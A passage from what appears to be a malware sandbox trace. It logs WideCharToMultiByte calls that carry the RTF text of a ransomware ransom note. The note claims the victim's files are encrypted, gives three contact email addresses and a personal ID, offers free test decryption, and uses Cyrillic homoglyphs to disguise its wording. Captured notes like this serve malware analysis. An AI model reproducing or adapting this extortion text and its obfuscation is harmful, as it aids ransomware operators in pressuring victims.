ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 